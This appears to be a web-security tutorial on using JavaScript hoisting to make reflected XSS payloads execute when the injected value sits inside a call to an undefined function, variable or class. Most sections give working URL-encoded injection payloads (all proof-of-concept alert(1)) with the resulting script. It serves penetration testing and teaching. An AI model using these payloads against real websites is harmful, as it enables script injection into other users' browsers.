Javascript Hoisting in XSS Scenarios

Title

When detecting a potential Cross-Site Vulnerability (XSS), sometimes the reflected parameter is injected in a script with an undeclared element. Let’s suppose that we are facing the following:

<script>
    leo.write('test','reflection_here')
</script>

leo object is not defined in the source code or the javascript file that has the declaration no longer works because is hosted externally and the link is down.

Is it exploitable? How can we take advantage of this scenario? Javascript Hoisting could let us achieve successful exploitation in some cases.


TL/DR


Javascript Hoisting

According Mozilla Developer Web Docs

JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables or classes to the top of their scope, prior to execution of the code. Hoisting allows functions to be safely used in code before they are declared. Variable and class declarations are also hoisted, so they too can be referenced before they are declared. Note that doing so can lead to unexpected errors, and is not generally recommended.

Therefore, in Javascript declarations of functions, variables, or classes can be defined after they are used.

Another thing to have in mind is that variables declared with let and const are also hoisted but, unlike var, are not initialized with a default value. An exception will be thrown if a variable declared with let or const is read before it is initialized.

Therefore, in an XSS scenario, we will always use var when declaring a variable.


Exploitable scenarios

Imagine that after submitting the following request: https://server/?param=INJECTION, is reflected in the following way:

vulnerableFunction('test', 'INJECTION'); 

Trying to scape the content with param='-alert(1)-':

vulnerableFunction('test', ''-alert(1)-''); 

It seems to work, however, the function is not declared and the following message is observed: ReferenceError: vulnerableFunction is not defined. Therefore, XSS exploitation is not possible with this payload.

Let’s see some scenarios where Javascript Hoisting can allow achieving a successful exploitation and some cases where is not exploitable (at least as far as I know).

Function injection

We can declare the function after it’s called in the following way:

vulnerableFunction('test', ''-alert(1)-''); 

function vulnerableFunction(a,b){
    return 1
};

Payload: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b

Or you can inject code after a declaration like this:

vulnerableFunction('test', 'test'); 

function vulnerableFunction(a,b){
    return 1
};

alert(1)

Payload: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)

There is a tricky scenario that is described Here


Variable injection

In the following case, the function myFunction is defined but the variable a used later is not. We can take advantage of variable hosting to achieve a successful XSS execution.

function myFunction(a,b){
    return 1
};

myFunction(a, 'test'); 

var a = 1;

alert(1);

Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b

Notice that the need for var is important because var is initialized with undefined and does not throw an error. However, the use of let/const will throw the following error ReferenceError: can’t access lexical declaration ‘a’ before initialization” because the variable is initialized.


Other scenarios

Class injection

In the following scenario, the class unexploitableClass is not defined. As indicated before, class declarations are hoisted. However, they remain uninitialized until evaluation. This effectively means that you have to declare a class before you can use it.

var variable = new unexploitableClass();

INJECTION

Therefore, injecting something like this, will not work:

var variable = new unexploitableClass();

class unexploitableClass {
  constructor(a) {
    this.a = a;
  }
}

An error will appear: referenceError: can’t access lexical declaration ‘unexploitableClass’ before initialization”

However, we can take advantage of the new operator because allows us to specify a class or function that specifies the type of the object instance.

Therefore:

var variable = new unexploitableClass();

function unexploitableClass() {
    return 1;
}

alert(1);

Will work.

Payload: param=function+unexploitableClass()+{return+1%3b}%3balert(1

Property accessors

Properties are not hoisted.

In the case where an object is present with a function:

test.cookie('leo','INJECTION')

Exploitation is possible with expression inside parameters:

test.cookie('leo','INJECTION'-alert(1));function test(){}

Payload: param=%27-alert(1));function%20test(){}//

Same happens with:

test['cookie','injection'-alert(1)];function test(){}

Payload: param=%27-alert(1)];function%20test(){}//

This works because Javascript is following these steps:

We do need a function declaration of test as we need test to exist to make a property access on it. However, we don’t need cookie to exist on test as the parameters will be evaluated before checking if the returned value of cookie is a function or not.

Thanks @joaxcar for pointing it out.


References